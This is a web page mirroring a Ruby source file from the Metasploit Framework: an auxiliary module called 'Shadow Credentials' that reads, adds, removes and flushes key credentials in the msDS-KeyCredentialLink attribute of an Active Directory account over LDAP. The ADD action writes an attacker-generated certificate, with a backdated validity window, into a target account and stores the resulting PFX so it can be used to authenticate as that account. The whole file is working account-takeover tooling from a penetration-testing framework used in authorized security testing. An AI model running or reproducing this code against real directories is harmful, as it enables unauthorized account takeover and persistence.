CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/shadow_credentials.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::LDAP
10
include Msf::OptionalSession::LDAP
11
12
ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Shadow Credentials',
19
'Description' => %q{
20
This module can read and write the necessary LDAP attributes to configure a particular account with a
21
Key Credential Link. This allows weaponising write access to a user account by adding a certificate
22
that can subsequently be used to authenticate. In order for this to succeed, the authenticated user
23
must have write access to the target object (the object specified in TARGET_USER).
24
},
25
'Author' => [
26
'Elad Shamir', # Original research
27
'smashery' # module author
28
],
29
'References' => [
30
['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'],
31
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials']
32
],
33
'License' => MSF_LICENSE,
34
'Actions' => [
35
['FLUSH', { 'Description' => 'Delete all certificate entries' }],
36
['LIST', { 'Description' => 'Read all credentials associated with the account' }],
37
['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }],
38
['ADD', { 'Description' => 'Add a credential to the account' }]
39
],
40
'DefaultAction' => 'LIST',
41
'Notes' => {
42
'Stability' => [],
43
'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes
44
'Reliability' => []
45
}
46
)
47
)
48
49
register_options([
50
OptString.new('TARGET_USER', [ true, 'The target to write to' ]),
51
OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]),
52
])
53
end
54
55
def fail_with_ldap_error(message)
56
ldap_result = @ldap.get_operation_result.table
57
return if ldap_result[:code] == 0
58
59
print_error(message)
60
if ldap_result[:code] == 16
61
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.')
62
else
63
validate_query_result!(ldap_result)
64
end
65
end
66
67
def warn_on_likely_user_error
68
ldap_result = @ldap.get_operation_result.table
69
if ldap_result[:code] == 50
70
if (datastore['USERNAME'] == datastore['TARGET_USER'] ||
71
datastore['USERNAME'] == datastore['TARGET_USER'] + '$') &&
72
datastore['USERNAME'].end_with?('$') &&
73
['add', 'remove'].include?(action.name.downcase)
74
print_warning('By default, computer accounts can only update their key credentials if no value already exists. If there is already a value present, you can remove it, and add your own, but any users relying on the existing credentials will not be able to authenticate until you replace the existing value(s).')
75
elsif datastore['USERNAME'] == datastore['TARGET_USER'] && !datastore['USERNAME'].end_with?('$')
76
print_warning('By default, only computer accounts can modify their own properties (not user accounts).')
77
end
78
end
79
end
80
81
def ldap_get(filter, attributes: [])
82
raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first
83
return nil unless raw_obj
84
85
obj = {}
86
87
obj['dn'] = raw_obj['dn'].first.to_s
88
unless raw_obj['sAMAccountName'].empty?
89
obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s
90
end
91
92
unless raw_obj['ObjectSid'].empty?
93
obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first)
94
end
95
96
unless raw_obj[ATTRIBUTE].empty?
97
result = []
98
raw_obj[ATTRIBUTE].each do |entry|
99
dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry)
100
struct = Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(dn_binary.data)
101
result.append(Rex::Proto::MsAdts::KeyCredential.from_struct(struct))
102
end
103
obj[ATTRIBUTE] = result
104
end
105
106
obj
107
end
108
109
def run
110
ldap_connect do |ldap|
111
validate_bind_success!(ldap)
112
113
if (@base_dn = datastore['BASE_DN'])
114
print_status("User-specified base DN: #{@base_dn}")
115
else
116
print_status('Discovering base DN automatically')
117
118
if (@base_dn = ldap.base_dn)
119
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
120
else
121
print_warning("Couldn't discover base DN!")
122
end
123
end
124
@ldap = ldap
125
126
begin
127
target_user = datastore['TARGET_USER']
128
obj = ldap_get("(sAMAccountName=#{target_user})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
129
if obj.nil? && !target_user.end_with?('$')
130
obj = ldap_get("(sAMAccountName=#{target_user}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
131
end
132
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{target_user}") unless obj
133
134
send("action_#{action.name.downcase}", obj)
135
rescue ::IOError => e
136
fail_with(Failure::UnexpectedReply, e.message)
137
end
138
end
139
rescue Errno::ECONNRESET
140
fail_with(Failure::Disconnected, 'The connection was reset.')
141
rescue Rex::ConnectionError => e
142
fail_with(Failure::Unreachable, e.message)
143
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
144
fail_with(Failure::NoAccess, e.message)
145
rescue Net::LDAP::Error => e
146
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
147
end
148
149
def action_list(obj)
150
credential_entries = obj[ATTRIBUTE]
151
if credential_entries.nil?
152
print_status("The #{ATTRIBUTE} field is empty.")
153
return
154
end
155
print_status('Existing credentials:')
156
credential_entries.each do |credential|
157
print_status("DeviceID: #{credential.device_id} - Created #{credential.key_creation_time}")
158
end
159
end
160
161
def action_remove(obj)
162
credential_entries = obj[ATTRIBUTE]
163
if credential_entries.nil? || credential_entries.empty?
164
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
165
return
166
end
167
168
length_before = credential_entries.length
169
credential_entries.delete_if { |entry| entry.device_id.to_s == datastore['DEVICE_ID'] }
170
if credential_entries.length == length_before
171
print_status('No matching entries found - check device ID')
172
else
173
update_list = credentials_to_ldap_format(credential_entries, obj['dn'])
174
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)
175
warn_on_likely_user_error
176
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
177
end
178
print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}")
179
end
180
end
181
182
def action_flush(obj)
183
unless obj[ATTRIBUTE]
184
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
185
return
186
end
187
188
unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE)
189
fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
190
end
191
192
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
193
end
194
195
def action_add(obj)
196
credential_entries = obj[ATTRIBUTE]
197
if credential_entries.nil?
198
credential_entries = []
199
end
200
key, cert = generate_key_and_cert(datastore['TARGET_USER'])
201
credential = Rex::Proto::MsAdts::KeyCredential.new
202
credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)
203
now = ::Time.now
204
credential.key_approximate_last_logon_time = now
205
credential.key_creation_time = now
206
credential_entries.append(credential)
207
update_list = credentials_to_ldap_format(credential_entries, obj['dn'])
208
209
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list)
210
warn_on_likely_user_error
211
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
212
end
213
214
pkcs12 = OpenSSL::PKCS12.create('', '', key, cert)
215
store_cert(pkcs12)
216
217
print_good("Successfully updated the #{ATTRIBUTE} attribute; certificate with device ID #{credential.device_id}")
218
end
219
220
def store_cert(pkcs12)
221
service_data = ldap_service_data
222
credential_data = {
223
**service_data,
224
address: service_data[:host],
225
port: rport,
226
protocol: service_data[:proto],
227
service_name: service_data[:name],
228
workspace_id: myworkspace_id,
229
username: datastore['TARGET_USER'],
230
private_type: :pkcs12,
231
# pkcs12 is a binary format, but for persisting we Base64 encode it
232
private_data: Base64.strict_encode64(pkcs12.to_der),
233
origin_type: :service,
234
module_fullname: fullname
235
}
236
create_credential(credential_data)
237
238
info = "#{datastore['DOMAIN']}\\#{datastore['TARGET_USER']} Certificate"
239
stored_path = store_loot('windows.ad.cs', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info)
240
print_status("Certificate stored at: #{stored_path}")
241
end
242
243
def ldap_service_data
244
{
245
host: rhost,
246
port: rport,
247
proto: 'tcp',
248
name: 'ldap',
249
info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication"
250
}
251
end
252
253
def credentials_to_ldap_format(entries, dn)
254
entries.map do |entry|
255
struct = entry.to_struct
256
dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s)
257
258
dn_binary.encode
259
end
260
end
261
262
def generate_key_and_cert(subject)
263
key = OpenSSL::PKey::RSA.new(2048)
264
cert = OpenSSL::X509::Certificate.new
265
cert.public_key = key.public_key
266
cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
267
cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
268
yr = 24 * 3600 * 365
269
cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
270
cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
271
cert.sign(key, OpenSSL::Digest.new('SHA256'))
272
273
[key, cert]
274
end
275
end
276
277